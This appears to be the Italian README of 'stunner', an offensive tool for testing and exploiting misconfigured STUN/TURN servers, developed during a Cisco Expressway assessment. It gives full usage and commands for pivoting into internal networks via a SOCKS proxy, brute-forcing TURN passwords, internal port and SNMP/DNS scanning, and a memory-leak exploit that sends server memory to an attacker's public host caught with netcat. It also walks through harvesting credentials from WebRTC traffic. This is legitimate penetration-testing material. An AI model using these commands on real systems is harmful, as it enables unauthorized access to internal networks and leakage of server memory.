firefart/stunnerTesta e sfrutta i server STUN/TURN per configurazioni errate, consentendo il pivoting della rete interna tramite proxy SOCKS, attacchi di memory leak e scansione delle porte interne.
Stunner è uno strumento per testare e sfruttare server STUN, TURN e TURN su TCP. TURN è un protocollo utilizzato principalmente nelle videoconferenze e chat audio (WebRTC).
Se trovi un server configurato in modo errato, puoi usare questo strumento per aprire un proxy socks locale che instrada tutto il traffico tramite il protocollo TURN nella rete interna dietro il server.
Ho sviluppato questo strumento durante un test di Cisco Expressway che ha portato ad alcune vulnerabilità: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
Per ottenere il nome utente e la password necessari, devi recuperarli utilizzando un metodo out-of-band, ad esempio sniffando la richiesta Connect da un browser web con Burp. Ho aggiunto un flusso di esempio alla fine del readme su come testare un server di questo tipo.
Quest'opera è distribuita con licenza Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International. Per visualizzare una copia di questa licenza, visita http://creativecommons.org/licenses/by-nc-sa/4.0/ o invia una lettera a Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
STUN: RFC 5389
TURN: RFC 5766
TURN per TCP: RFC 6062
Estensione TURN per IPv6: RFC 6156
Questo comando stampa informazioni sul server stun o turn, come i protocolli supportati e gli attributi, ad esempio il software utilizzato.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
./stunner info -s x.x.x.x:443
Questo comando prova diversi intervalli privati e limitati per verificare se il server TURN è configurato per consentire connessioni agli indirizzi IP specificati. Se un determinato intervallo non è proibito, puoi enumerare ulteriormente quell'intervallo con gli altri comandi forniti. Se un IP è raggiungibile, significa che il server TURN inoltrerà il traffico verso quell'IP.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
Connessione TURN basata su TCP (connessione da te al server TURN):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
Connessione TURN basata su UDP (connessione da te al server TURN):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
Questo è uno dei comandi più utili per server TURN che supportano connessioni TCP a server di backend. Avvia un server socks5 locale senza autenticazione e instradera tutto il traffico TCP attraverso il protocollo TURN (UDP tramite SOCKS non è attualmente supportato). Se il server è configurato in modo errato, inoltrerà il traffico verso indirizzi interni, quindi può essere utilizzato per raggiungere sistemi interni e abusare del server come proxy nella rete interna. Se scegli di eseguire anche richieste DNS tramite socks, verranno risolte utilizzando il tuo nameserver locale, quindi è meglio lavorare con indirizzi IPv4 e IPv6 privati. Tieni presente che questo modulo può solo instradare traffico TCP.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
Dopo aver avviato il proxy, apri il browser, punta il proxy nelle impostazioni a socks5 con un IP di 127.0.0.1:1080 (assicurati di non impostare l'opzione di bypass degli indirizzi locali, poiché vogliamo raggiungere gli indirizzi locali remoti) e chiama l'IP di tua scelta nel browser.
Esempio: https://127.0.0.1, https://127.0.0.1:8443 o https://[::1]:8443 (questi chiameranno le porte sul server TURN testato dalle interfacce locali).
Puoi anche configurare proxychains per utilizzare questo proxy (ma sarà molto lento poiché ogni richiesta comporta più richieste per abilitare il proxy). Basta modificare /etc/proxychains.conf e inserire il valore socks5 127.0.0.1 1080 sotto ProxyList.
Esempio di nmap attraverso questo proxy socks5 con un proxychains configurato correttamente (nota che è -sT per fare TCP syn, altrimenti non userà il proxy socks5):
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
Questo molto probabilmente non fornirà informazioni utili, ma può essere utile per enumerare tutti i trasporti disponibili (= protocolli verso sistemi interni) supportati dal server. Potrebbe mostrare alcune implementazioni di protocolli personalizzati, ma nella maggior parte dei casi restituirà solo i valori predefiniti.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
Questo comando prova tutte le password da un file specificato per un nome utente tramite il protocollo TURN (UDP). Può essere utile quando si analizza un pcap in cui si vede il nome utente ma non la password. Tieni presente che un brute-force offline è molto più veloce in questo caso.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--passfile value, -p value passwordfile to use for bruteforce
--help, -h show help (default: false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
Questo attacco funziona nel modo seguente:
Il server prende i dati da inviare al target (deve essere una porta alta > 1024 nella maggior parte dei casi) come TLV (Type Length Value). Questo exploit utilizza una lunghezza grande con un valore corto. Se il server non controlla i limiti del TLV, potrebbe inviare un po' di memoria fino alla length al target. Cisco Expressway è stato confermato vulnerabile a questo, ma secondo Cisco perdeva solo memoria della sessione corrente.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
--size value Size of the buffer to leak (default: 35510)
--help, -h show help (default: false)
Per ricevere i dati, dobbiamo impostare un ricevitore su un server con un IP pubblico. Normalmente i firewall sono configurati per consentire solo porte alte (>1024) dai server TURN, quindi assicurati di utilizzare una porta alta come 8080 in questo esempio quando ti connetti a internet.
sudo nc -u -l -n -v -p 8080 | hexdump -C
quindi esegui la seguente istruzione sulla tua macchina aggiungendo l'IP pubblico al parametro t:
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
Se funziona, dovresti vedere grandi quantità di memoria in arrivo; altrimenti vedrai solo messaggi brevi.
Se un server TURN consente connessioni UDP a target interni, questo scanner può essere utilizzato per scansionare tutti gli intervalli IP privati e inviare loro richieste SNMP e DNS. Poiché controlla molti IP, questo può richiedere diversi giorni per essere completato, quindi usalo con cautela o specifica target più piccoli tramite i parametri. Devi fornire una community string SNMP che verrà provata e un nome di dominio che verrà risolto su ciascun IP. Per il nome di dominio puoi, ad esempio, usare burp collaborator.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--community-string value SNMP community string to use for scanning (default: "public")
--domain value domain name to resolve on internal DNS servers during scanning
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
Come udp-scanner, ma invia richieste HTTP alle porte specificate (HTTPS non è supportato)
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--ports value Ports to check (default: "80,443,8080,8081")
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
Supponiamo di trovare un servizio che utilizza WebRTC e volerlo testare.
Il primo passo è ottenere i dati necessari. Suggerisco di avviare Wireshark in background e di partecipare a una riunione tramite Burp per raccogliere tutto il traffico HTTP e Websocket. Successivamente, cerca nella cronologia di Burp alcune parole chiave correlate a TURN come 3478, password, credential e username (assicurati di controllare anche la scheda websocket per queste parole chiave). Questo potrebbe rivelare il server turn e il protocollo (gli endpoint UDP e TCP potrebbero avere porte diverse) e le credenziali utilizzate per connettersi. Se non riesci a trovare i dati in Burp, inizia a guardare Wireshark per identificare il traffico. Se si trova su una porta non standard (qualsiasi cosa diversa da 3478), decodifica il protocollo in Wireshark tramite clic destro come STUN. Questo dovrebbe mostrare il nome utente utilizzato per connettersi, e puoi usare queste informazioni per cercare ulteriormente nella cronologia di Burp i dati richiesti. Tieni presente che Wireshark non può mostrare la password poiché la password viene utilizzata per hashare alcuni contenuti del pacchetto, quindi non può essere invertita.
Il passo successivo sarebbe eseguire il comando info sul server turn utilizzando la porta e il protocollo corretti ottenuti da Burp.
Se funziona, il passo successivo è un range-scan. Se questo consente traffico verso sistemi interni, puoi sfruttarlo ulteriormente, ma tieni presente che UDP ha solo casi d'uso limitati.
Se le connessioni TCP ai sistemi interni sono consentite, avvia semplicemente il comando socks e accedi agli IP consentiti tramite un browser impostando il proxy socks su 127.0.0.1:1080. Puoi provare 127.0.0.1:443 e altri IP per trovare interfacce di gestione.